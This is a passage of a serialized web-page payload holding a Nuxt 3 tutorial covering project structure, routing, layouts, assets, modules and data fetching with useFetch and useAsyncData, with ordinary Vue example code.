auto-imports.",[11,14134,14135,14138],{},[20,14136,14137],{},"content:"," Supports .md, .yml, and .csv files to create a CMS for your application.",[11,14140,14141,14144],{},[20,14142,14143],{},"layouts:"," Used to change the look and feel of your application. An application can have multiple layouts for example: admin layout, guest layout, and registered clients layout. These layouts will be reused on different pages to handle their appearance (sidebar, menu, footer, etc.). During installation, Nuxt CLI provides default layouts\u002Fdefault.vue layout and is used on all pages.",[11,14146,14147,14150],{},[20,14148,14149],{},"middleware:"," Used to handle requests before the page is displayed to the user. Middleware allows you to perform tasks such as authentication, access checking, activity logging, and other custom processing before the page is rendered.",[11,14152,14153,14156,14157,14160],{},[20,14154,14155],{},"modules",": Nuxt scans the ",[20,14158,14159],{},"\"modules\u002F\""," directory and loads them before starting. It is a good place to place any local modules you develop while building your application.",[11,14162,14163,14166,14167,14170],{},[20,14164,14165],{},"node_modules:"," The package manager (npm or yarn or pnpm) creates the ",[20,14168,14169],{},"\"node_modules\u002F\""," directory to store the dependencies of your project.",[11,14172,14173,14176],{},[20,14174,14175],{},"pages:"," Nuxt provides file-based routing to create routes in your web application using Vue Router.",[11,14178,14179,14182,14183,14186],{},[20,14180,14181],{},"plugins:"," Nuxt automatically reads the files in your ",[20,14184,14185],{},"\"plugins\""," directory and loads them at the creation of the Vue application. You can use the .server or .client suffix in the file name to load a plugin only on the server or client side.",[11,14188,14189,14105,14192,14194],{},[20,14190,14191],{},"public:",[20,14193,14112],{}," directory contains static files and provides resources directly to HTTP requests without additional processing logic. For example, you can place image files, font files, robot.txt, favicon.ico, or other static files.",[11,14196,14197,14200],{},[20,14198,14199],{},"server:"," Nuxt automatically scans files inside these directories to register API and server handlers with HMR support: ~\u002Fserver\u002Fapi, ~\u002Fserver\u002Froutes, ~\u002Fserver\u002Fmiddleware.",[11,14202,14203,14128,14206,14209],{},[20,14204,14205],{},"utils:",[20,14207,14208],{},"\"utils\u002F\""," directory to automatically import helper functions and other utilities throughout your application using auto-imports.",[11,14211,14212,14215,14216,1017,14219,14222],{},[20,14213,14214],{},".env:"," Nuxt CLI has built-in dotenv support in development mode and when running ",[612,14217,14218],{},"nuxi build",[612,14220,14221],{},"nuxi generate",". In addition to any process environment variables, if you have a .env file in your project root directory, it will be automatically loaded at build, dev, and generate time, and any environment variables set there will be accessible within your nuxt.config file and modules.",[11,14224,14225,14228],{},[20,14226,14227],{},".gitignore:"," This will list the names of files and folders in the project that you do not want to be parsed every time you manipulate git.",[11,14230,14231,14234],{},[20,14232,14233],{},".nuxtignore:"," The .nuxtigore file allows Nuxt to ignore layouts, pages, components, composables, and middleware in the project root directory (rootDir) during the build process. The .nuxtigore file follows the same specifications as the .gitignore and .eslintigore files, where each line is a glob pattern indicating which files should be ignored.",[11,14236,14237,14240],{},[20,14238,14239],{},"app.config.ts:"," Used to configure and customize the Nuxt application.",[11,14242,14243,14246],{},[20,14244,14245],{},"app.vue:"," The main component in Nuxt 3 applications.",[11,14248,14249,14252],{},[20,14250,14251],{},"nuxt.config.ts:"," The nuxt.config.ts file contains your custom Nuxt configuration and allows you to configure your application, these configurations include head title and associated styles and scripts, middlewares, plugins, authentication, modules, and even APIs.",[11,14254,14255,14258],{},[20,14256,14257],{},"package.json:"," Contains all the dependencies and scripts for your application.",[11,14260,14261,14264],{},[20,14262,14263],{},"tsconfig.json:"," Nuxt automatically creates a .nuxt\u002Ftsconfig.json file with other reasonable defaults. You just need to create a tsconfig.json file outside of the root and import it from the initialized Nuxt file.",[403,14266,14268],{"id":14267},"feature","Feature",[565,14270,14272],{"id":14271},"auto-imports",[20,14273,14274],{},"Auto-imports",[11,14276,14277],{},"Auto-import is a new feature developed by Nuxt 3 which is quite convenient. All files in components, composables, utils are automatically recognized and just need to name the component, composables, etc. without having to import again. Auto import is enabled by default but can also be turned off in the nuxt.config.ts file as follows:",[605,14279,14282],{"className":14280,"code":14281,"language":610},[608],"export default defineNuxtConfig({\n  imports: {\n    autoImport: false\n  }\n})\n\n",[612,14283,14281],{"__ignoreMap":66},[565,14285,14287],{"id":14286},"rendering-modes",[20,14288,14289],{},"Rendering Modes",[11,14291,14292],{},"Nuxt supports different rendering modes, universal rendering, and client-side rendering but also offers hybrid rendering and the possibility to render your application on CDN Edge Servers.",[565,14294,14296],{"id":14295},"server-engine",[20,14297,14298],{},"Server Engine",[11,14300,14301,14302,878],{},"Nuxt 3 is powered by a new server engine, ",[55,14303,14037],{"href":14035,"rel":14304},[59],[203,14306,14307,14310,14313,14316,14319,14322],{},[34,14308,14309],{},"Cross-platform support for Node.js, Browsers, service workers, and more.",[34,14311,14312],{},"Serverless support out-of-the-box.",[34,14314,14315],{},"API routes support.",[34,14317,14318],{},"Automatic code-splitting and async-loaded chunks.",[34,14320,14321],{},"Hybrid mode for static + serverless sites.",[34,14323,14324],{},"Development server with hot module reloading.",[403,14326,14328],{"id":14327},"getting-started-with-nuxt","Getting started with Nuxt",[11,14330,14331,14334],{},[20,14332,14333],{},"Prerequisites:"," Nodejs version 16.0.0 or later.",[11,14336,14337],{},"A simple setup with Nuxt CLI, used with the nuxi command will help you to install and manage all Nuxt components. With npx installed, you can easily create a project with the command below:",[605,14339,14342],{"className":14340,"code":14341,"language":610},[608],"> npx nuxi init project-name\n",[612,14343,14341],{"__ignoreMap":66},[11,14345,14346],{},"As an output you will get this.",[605,14348,14351],{"className":14349,"code":14350,"language":610},[608],"Nuxt project is created with a v3 template. Next steps:\n› cd project-name\n› Install dependencies with npm install or yarn install or pnpm install\n› Start development server with npm run dev or yarn dev or pnpm run dev\n",[612,14352,14350],{"__ignoreMap":66},[11,14354,14355],{},"Install dependencies.",[605,14357,14360],{"className":14358,"code":14359,"language":610},[608],"yarn install\n",[612,14361,14359],{"__ignoreMap":66},[11,14363,14364],{},"And here is the new project structure.",[11,14366,14367,14371],{},[438,14368],{"className":14369,"alt":66,"src":14370,"style":14079},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06171557\u002Finit-project.png"," You should now be able to start your Nuxt application in development mode.",[605,14373,14376],{"className":14374,"code":14375,"language":610},[608],"yarn dev -o\n",[612,14377,14375],{"__ignoreMap":66},[11,14379,14380,14381,14384],{},"Then visit the browser at ",[55,14382,5406],{"href":5406,"rel":14383},[59],", to see the newly created Nuxt application running.",[11,14386,14387],{},"By default, the app .vue file is the core component that acts as the entry point and renders its content for each application route. Is the root component of your Nuxt application and represents the layout and structure that wraps all other components. It usually contains the main layout, navigation, and any global components or logic that need to be shared across multiple pages.",[11,14389,14390],{},"Change a bit the content in the app.vue file and see the display.",[605,14392,14395],{"className":14393,"code":14394,"language":610},[608],"> app.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>Welcome to the homepage\u003C\u002Fh1>\n  \u003Cdiv>\n\u003C\u002Ftemplate>\n",[612,14396,14394],{"__ignoreMap":66},[438,14398],{"className":14399,"alt":66,"src":14400,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06174754\u002Fapp.vue_-1024x130.png",[403,14402,14404],{"id":14403},"features","Features",[565,14406,14408],{"id":14407},"pages",[20,14409,14410],{},"Pages",[11,14412,14413,14414,14417],{},"This is where your Application Views and routes will be located. By default, Nuxt uses a file-based routing system, where each .vue file in the ",[20,14415,14416],{},"\"\u002Fpages\""," directory corresponds to a route.",[11,14419,14420,14421,14113],{},"To use pages, create the file pages\u002Findex.vue and add the \u003CNuxtPage \u002F> component to app.vue (or remove app.vue when you want pages\u002Findex.vue for default entry). Pages are Vue components and can have any valid extension that Nuxt supports (by default, .vue, .js, .jsx, .mjs, .ts, or .tsx). Nuxt will automatically generate routes for every page in your ",[20,14422,14423],{},"\"~\u002Fpages\u002F\"",[605,14425,14428],{"className":14426,"code":14427,"language":610},[608],"> app.vue (app.vue default entry)\n\u003Ctemplate>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n--- .vue ---\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n--- .ts ---\n> pages\u002Findex.ts\nexport default defineComponent({\n  render () {\n    return h('h1', 'Home page');\n  }\n});\n\n--- .tsx ---\nexport default defineComponent({\n  render () {\n    return \u003Ch1>Home page\u003C\u002Fh1>;\n  }\n});\n",[612,14429,14427],{"__ignoreMap":66},[565,14431,14433],{"id":14432},"layouts",[20,14434,14435],{},"Layouts",[11,14437,14438],{},"Layout plays an important role in determining the overall structure and design of the pages in your application. Layouts in Nuxt represent a reusable template that wraps around your page components and provides a consistent look and feel across multiple pages. Can create many different layouts like login layout or homepage layout or many other layouts.",[3172,14440,14441],{},[11,14442,14443],{},[14444,14445,14447],"i",{"style":14446},"color:red","If you only have a single layout in your application, we recommend using app.vue with the \u003CNuxtPage \u002F> component instead.",[11,14449,14450],{},"If nothing is set, Nuxt will specify default .vue as the default.",[605,14452,14455],{"className":14453,"code":14454,"language":610},[608],"> app.vue\n\u003Ctemplate>\n  \u003CNuxtLayout>\n    \u003CNuxtPage \u002F>\n  \u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate>\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our default layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,14456,14454],{"__ignoreMap":66},[438,14458],{"className":14459,"alt":66,"src":14460,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06175418\u002Fdefault-layout-1024x147.png",[11,14462,14463,14464,14467],{},"Now let's do something more interesting. Let's create a custom layout and display our ",[20,14465,14466],{},"\u002FAbout"," page using our customized layout.",[605,14469,14472],{"className":14470,"code":14471,"language":610},[608],"> layouts\u002Fcustom.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our custom layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\ndefinePageMeta({\n  layout: 'custom',\n});\n\u003C\u002Fscript>\n",[612,14473,14471],{"__ignoreMap":66},[438,14475],{"className":14476,"alt":66,"src":14477,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07135628\u002Fpage-about-1024x97.png",[565,14479,14481],{"id":14480},"routing",[20,14482,14483],{},"Routing",[1693,14485,14487],{"id":14486},"dynamic-routes",[20,14488,14489],{},"Dynamic routes",[11,14491,14492],{},"Now, let's look at the different ways to create routes using routing based on Nuxt files.",[438,14494],{"className":14495,"alt":66,"src":14496,"style":14079},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181322\u002Fstructure-pages.png",[11,14498,14499,14500,14503],{},"In our example, let's look at the ",[20,14501,14502],{},"\"pages\u002F\""," directory structure. There are two different types of pages: static pages and dynamic pages whose content changes based on route parameters.",[203,14505,14506,14520],{},[34,14507,14508,14509],{},"Static page\n",[31,14510,14511,14514,14517],{},[34,14512,14513],{},"index.vue → \u002F",[34,14515,14516],{},"about.vue → \u002Fabout",[34,14518,14519],{},"category\u002Findex.vue → \u002Fcategory",[34,14521,14522,14523],{},"Dynamic page\n",[31,14524,14525,14528],{},[34,14526,14527],{},"category\u002F[slug].vue → \u002Fcategory\u002Flanguage",[34,14529,14530],{},"user-[group]\u002F[id].vue → \u002Fuser-admin\u002F123",[605,14532,14535],{"className":14533,"code":14534,"language":610},[608],"> pages\u002Fcategory\u002F[slug].vue\n\u003Ctemplate>\n  \u003Cp>Category slug : {{ $route.params.slug  }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `Category ${route.params.slug}`\n});\n\u003C\u002Fscript>\n\n",[612,14536,14534],{"__ignoreMap":66},[438,14538],{"className":14539,"alt":66,"src":14540,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181711\u002Frouting-category-slug-1024x157.png",[605,14542,14545],{"className":14543,"code":14544,"language":610},[608],"> pages\u002Fuser-[group]\u002F[id].vue\n\u003Ctemplate>\n  \u003Cp>Group : {{ $route.params.group }} - ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `User group ${route.params.group} ID ${route.params.id}`\n});\n\u003C\u002Fscript>\n\n",[612,14546,14544],{"__ignoreMap":66},[438,14548],{"className":14549,"alt":66,"src":14550,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154241\u002Frouting-user-group-id-1024x162.png",[1693,14552,14554],{"id":14553},"nested-routes",[20,14555,14556],{},"Nested Routes",[11,14558,14559,14560],{},"A hierarchical display page structure where a parent route has child routes or sub-routes. This is useful when you have pages that share a common layout. It is also useful when you want to organize nested routes in your application. Can display nested routes with ",[14561,14562,878],"nuxt-page",{},[438,14564],{"className":14565,"alt":66,"src":14566,"style":14079},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154348\u002Fstructure-nested-pages.png",[11,14568,14569],{},"This file tree will generate these routes:",[605,14571,14574],{"className":14572,"code":14573,"language":610},[608],"[\n  {\n    path: '\u002Fuser',\n    component: '~\u002Fpages\u002Fuser.vue',\n    name: 'user',\n    children: [\n      {\n        path: '\u002F',\n        component: '~\u002Fpages\u002Fuser\u002Findex.vue',\n        name: 'user-child'\n      },\n      {\n        path: '\u002F:id',\n        component: '~\u002Fpages\u002Fuser\u002F[id].vue',\n        name: 'user-id',\n    children: [\n       {\n         path: '\u002Fprofile',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fprofile.vue',\n         name: 'user-id-profile'\n       },\n       {\n         path: '\u002Fdivision',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue',\n         name: 'user-id-division',\n         children: [\n        {\n          path: '\u002F:division\u002F:divisionId',\n          component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue',\n          name: 'user-id-division-id'\n        }\n         ]\n       },\n     ]\n      }\n    ]\n  }\n]\n\n",[612,14575,14573],{"__ignoreMap":66},[11,14577,14578],{},"Result from user route with child routes.",[605,14580,14583],{"className":14581,"code":14582,"language":610},[608],"> pages\u002Fuser.vue\n\u003Ctemplate>\n  \u003Cp>User Page\u003C\u002Fp>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n> pages\u002Fuser\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User Child Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,14584,14582],{"__ignoreMap":66},[438,14586],{"className":14587,"alt":66,"src":14588,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155153\u002Frouting-nested-user-child-1024x159.png",[11,14590,14591],{},"Result from user profile route with the parameter user id.",[605,14593,14596],{"className":14594,"code":14595,"language":610},[608],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fprofile\n\u003Ctemplate>\n  \u003Cp>User Profile Page - User ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,14597,14595],{"__ignoreMap":66},[438,14599],{"className":14600,"alt":66,"src":14601,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155428\u002Frouting-nested-user-id-profile-1-1024x162.png",[11,14603,14604],{},"Result from user division route with the parameter user id.",[605,14606,14609],{"className":14607,"code":14608,"language":610},[608],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,14610,14608],{"__ignoreMap":66},[438,14612],{"className":14613,"alt":66,"src":14614,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155551\u002Frouting-nested-user-id-division-1024x202.png",[11,14616,14617],{},"Result from user division route with parameter user id and division id.",[605,14619,14622],{"className":14620,"code":14621,"language":610},[608],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }} - Division ID : {{ $route.params.divisionId }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,14623,14621],{"__ignoreMap":66},[438,14625],{"className":14626,"alt":66,"src":14627,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155723\u002Frouting-nested-user-id-division-divisionId-1024x195.png",[565,14629,14631],{"id":14630},"navigation",[20,14632,14633],{},"Navigation",[11,14635,14636,14637],{},"It is the process of moving between different pages or routes in your application. Nuxt uses the ",[14638,14639,14640],"nuxt-link",{}," component to link pages. It will render a \u003Ca> tag with the href attribute to set the route for the page.",[605,14642,14645],{"className":14643,"code":14644,"language":610},[608],"> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cp>Home Page\u003C\u002Fp>\n    \u003Cnav>\n      \u003Cul>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fabout\">About\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fcategory\">Category\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fuser\">User\u003C\u002FNuxtLink>\u003C\u002Fli>\n      \u003C\u002Ful>\n    \u003C\u002Fnav>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[612,14646,14644],{"__ignoreMap":66},[11,14648,14649],{},"When clicking on each link About, Category, the User will be redirected to the corresponding page.",[438,14651],{"className":14652,"alt":66,"src":14653,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155923\u002Fnavigation-1024x209.png",[11,14655,14656,14657],{},"Use ",[14638,14658,14659],{}," component with parameter Props \"to\" have 2 objects of interest:",[203,14661,14662,14665],{},[34,14663,14664],{},"name: The page name is also the corresponding route. Ex: pages\u002Fcategory\u002F[slug].vue → \u002Fcategory\u002F:slug. Name the appropriate separator between the child folders as \"-\": category-slug.",[34,14666,14667],{},"params: Parameters to pass when using dynamic routes.",[605,14669,14672],{"className":14670,"code":14671,"language":610},[608],"> pages\u002Fcategory\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Category Page\u003C\u002Fp>\n  \u003Cnav>\n    \u003Cul v-for=\"(cate, index) in categories\" :key=\"index\">\n      \u003Cli>\n        \u003CNuxtLink :to=\"{ name: 'category-slug', params: { slug: cate } }\">\n          {{ cate }}\n        \u003C\u002FNuxtLink>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fnav>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst categories = ['language', 'reading', 'programming', 'art', 'other'];\n\u003C\u002Fscript>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[612,14673,14671],{"__ignoreMap":66},[565,14675,14677],{"id":14676},"assets",[20,14678,14679],{},"Assets",[203,14681,14682,14688],{},[34,14683,14684,14685,14687],{},"The ",[20,14686,14112],{}," directory content is served at the server root as-is.",[34,14689,14684,14690,14692],{},[20,14691,14108],{}," directory contains by convention every asset that you want the build tool (Vite or Webpack) to process.",[11,14694,14695],{},[20,14696,14697],{},"Public directory",[11,14699,14700,14701,14704],{},"For example, referencing an image file in the ",[20,14702,14703],{},"\"public\u002Fimg\u002F\""," directory, available at the static URL \u002Fimg\u002Fnuxt.png:",[605,14706,14709],{"className":14707,"code":14708,"language":610},[608],"\u003Ctemplate>\n  \u003Cimg src=\"\u002Fimg\u002Fnuxt.png\" alt=\"Discover Nuxt 3\" \u002F>\n\u003C\u002Ftemplate>\n",[612,14710,14708],{"__ignoreMap":66},[11,14712,14713],{},[20,14714,14715],{},"Assets directory",[3172,14717,14718],{},[11,14719,14720],{},[14444,14721,14722],{"style":14446},"Nuxt won't serve files in the assets\u002F directory at a static URL like \u002Fassets\u002Fmy-file.png. If you need a static URL, use the public\u002F directory.",[11,14724,14725],{},"You can set stylesheet files (CSS, SASS, etc), fonts, or SVG. To insert global statements into your Nuxt components, you can use the Vite option in your nuxt.config file.",[11,14727,14728],{},"See the example below:",[605,14730,14733],{"className":14731,"code":14732,"language":610},[608],"> assets\u002Fcss\u002Fstyles.css\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\n> assets\u002Fsass\u002F_colors.scss\n$primary: #49240F;\n$secondary: #E4A79D;\n\n> assets\u002Fsass\u002Fapp.scss\n@import url(\"https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Nunito:ital,wght@0,200;0,300;0,400;0,600;0,700;0,800;0,900;1,200;1,300;1,400;1,600;1,700;1,800;1,900&display=swap\");\nbody {\n  font-family: 'Nunito',\n}\n.btn-bg-color {\n  background-color: $primary;\n}\n\n> nuxt.config.ts\nexport default defineNuxtConfig({\n  css: [\n    '~\u002Fassets\u002Fcss\u002Fstyles.css',\n    '~\u002Fassets\u002Fsass\u002Fapp.scss',\n  ],\n  vite: {\n    css: {\n      preprocessorOptions: {\n        scss: {\n          additionalData: '@use \"@\u002Fassets\u002Fsass\u002F_colors.scss\" as *;'\n        }\n      }\n    }\n  }\n})\n",[612,14734,14732],{"__ignoreMap":66},[565,14736,14738],{"id":14737},"components",[20,14739,14740],{},"Components",[11,14742,14684,14743,14745,14746,14748],{},[20,14744,14121],{}," directory is where you put all your Vue components which can then be imported inside your pages or other components. Nuxt automatically imports any components in your ",[20,14747,14121],{}," directory (along with components registered by any modules you may be using).",[11,14750,14751,14752],{},"In addition, Nuxt also has built-in components such as: ",[14753,14754,1014,14755],"client-only",{},[14561,14756,1014,14757],{},[14758,14759,1014,14760],"nuxt-layout",{},[14638,14761,1014,14762],{},[14763,14764,14765],"teleport",{},", etc.",[605,14767,14770],{"className":14768,"code":14769,"language":610},[608],"> components\n--| BaseHeader.vue\n--| BaseFooter.vue\n--| base\u002F\n----| html\u002F\n------| Alert.vue\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003CBaseHeader \u002F>\n    \u003CBaseHtmlAlert \u002F>\n    \u003Cslot \u002F>\n    \u003CBaseFooter \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[612,14771,14769],{"__ignoreMap":66},[565,14773,14775],{"id":14774},"composables",[20,14776,14777],{},"Composables",[11,14779,14780,14781,14784],{},"Nuxt provides several composables like useAppConfig, useAsyncData, useCookie, useError, useFetch, useHead, etc. Also, Nuxt will automatically import files inside your ",[20,14782,14783],{},"\"composables\""," directory with the auto-imports feature.",[565,14786,14788,212],{"id":14787},"plugins",[20,14789,14790],{},"Plugins",[11,14792,14793,14794,14186],{},"Nuxt automatically reads the files in your ",[20,14795,14185],{},[3172,14797,14798],{},[11,14799,14800],{},[14444,14801,14802],{"style":14446},"All plugins in your plugins\u002F directory are auto-registered, so you should not add them to your nuxt.config separately.",[565,14804,14805],{"id":14155},[20,14806,14807],{},"Modules",[11,14809,14810],{},"Nuxt provides a list of community-developed modules. Gives you many choices for application development.",[438,14812],{"className":14813,"alt":66,"src":14814,"style":14079},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07160511\u002Fmodules.png",[11,14816,14817],{},"Install the necessary modules for your application and configure them in the nuxt.config.ts file.",[605,14819,14822],{"className":14820,"code":14821,"language":610},[608],"export default defineNuxtConfig({\n  modules: [\n    '@vueuse\u002Fnuxt',\n    '@element-plus\u002Fnuxt',\n    'nuxt-lodash',\n    'nuxt-security',\n  ]\n})\n",[612,14823,14821],{"__ignoreMap":66},[11,14825,14826,14827,14160],{},"For custom files, Nuxt scans the ",[20,14828,14159],{},[605,14830,14833],{"className":14831,"code":14832,"language":610},[608],"modules\u002F*\u002F*.ts\nmodules\u002F*.ts\n",[612,14834,14832],{"__ignoreMap":66},[565,14836,14838],{"id":14837},"data-fetching",[20,14839,14840],{},"Data Fetching",[11,14842,14843],{},"With Nuxt 3, there is almost full support for composables and built-in libraries to perform data-fetching from a browser or server environment including useFetch, useLazyFetch, useAsyncData, useLazyAsyncData, and $fetch.",[11,14845,14846],{},[20,14847,14848],{},"useFetch",[11,14850,14851],{},"useFetch is rendered on the server side (in Nuxt's server-side rendering mode) and is used to load data into your Nuxt application. useFetch can be used in pages, components, or plugins. Usage of useFetch is very simple as below:",[605,14853,14856],{"className":14854,"code":14855,"language":610},[608],"\u003Ctemplate>\n  \u003Cdiv>\n    Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst { data: count } = await useFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[612,14857,14855],{"__ignoreMap":66},[11,14859,14860],{},[20,14861,14862],{},"Options:",[203,14864,14865,14868,14871,14874,14877,14880,14883,14886,14889,14892,14895,14898,14901],{},[34,14866,14867],{},"method: Request method.",[34,14869,14870],{},"query: Add queries to requests.",[34,14872,14873],{},"params: Alias to query.",[34,14875,14876],{},"body: Request body.",[34,14878,14879],{},"headers: Request headers.",[34,14881,14882],{},"baseURL: Base URL.",[34,14884,14885],{},"key: Unique value, controls how data is cached and how requests are implemented.",[34,14887,14888],{},"server: Whether to fetch the data on the server (defaults to true).",[34,14890,14891],{},"default: Set default values for the data.",[34,14893,14894],{},"pick: Extract specific properties from object data.",[34,14896,14897],{},"watch: Watch changes of some object to trigger a useFetch call.",[34,14899,14900],{},"transform: Use to transform the output.",[34,14902,14903],{},"immediate: When set to false, prevents the request from triggering useFetch immediately.",[11,14905,14906],{},[20,14907,14908],{},"Return value:",[203,14910,14911,14914,14917,14920],{},[34,14912,14913],{},"data: The data that useFetch calls from the API.",[34,14915,14916],{},"pending: The useFetch state is still called (true\u002Ffalse).",[34,14918,14919],{},"refresh\u002Fexecute: The refresh or execute function can be called outside of the useFetch used to fetch the data.",[34,14921,14922],{},"error: Object error in case the API call fails.",[11,14924,14925],{},"Here is a small example using some of the above options.",[605,14927,14930],{"className":14928,"code":14929,"language":610},[608],"const { data, pending, error, refresh } = await useFetch('https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains',{\n    pick: ['title'],\n    query: { param1, param2: 'value2' }\n})\nconst refreshData = () => refresh();\n",[612,14931,14929],{"__ignoreMap":66},[11,14933,14934,14935,14939],{},"This usage will return the title of the elements in the array returned from the URL as \"",[55,14936,14937],{"href":14937,"rel":14938},"https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains?param1=value1&param2=value2",[59],"\" and we can call useFetch again via the refreshData function.",[11,14941,14942],{},[20,14943,14944],{},"useAsyncData",[11,14946,14947],{},"With useFetch, each use passes a long URL into useFetch and if this URL is used in many places it is quite difficult to manage. Usually, we will create an API directory and write API calls to the files in it, then import them into the component or page. With this approach, useFetch cannot be used. For convenience, useAsyncData is similar to useFetch.",[605,14949,14952],{"className":14950,"code":14951,"language":610},[608],"\u003Ctemplate>\n  \u003Cdiv>\n     Page visits: {{ data }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[612,14953,14951],{"__ignoreMap":66},[11,14955,14956],{},"Suppose there is a function:",[605,14958,14961],{"className":14959,"code":14960,"language":610},[608],"export const getPosts = () => axios.get('\u002Fapi\u002Fposts');\n",[612,14962,14960],{"__ignoreMap":66},[11,14964,14965],{},"To use useAsyncData, we 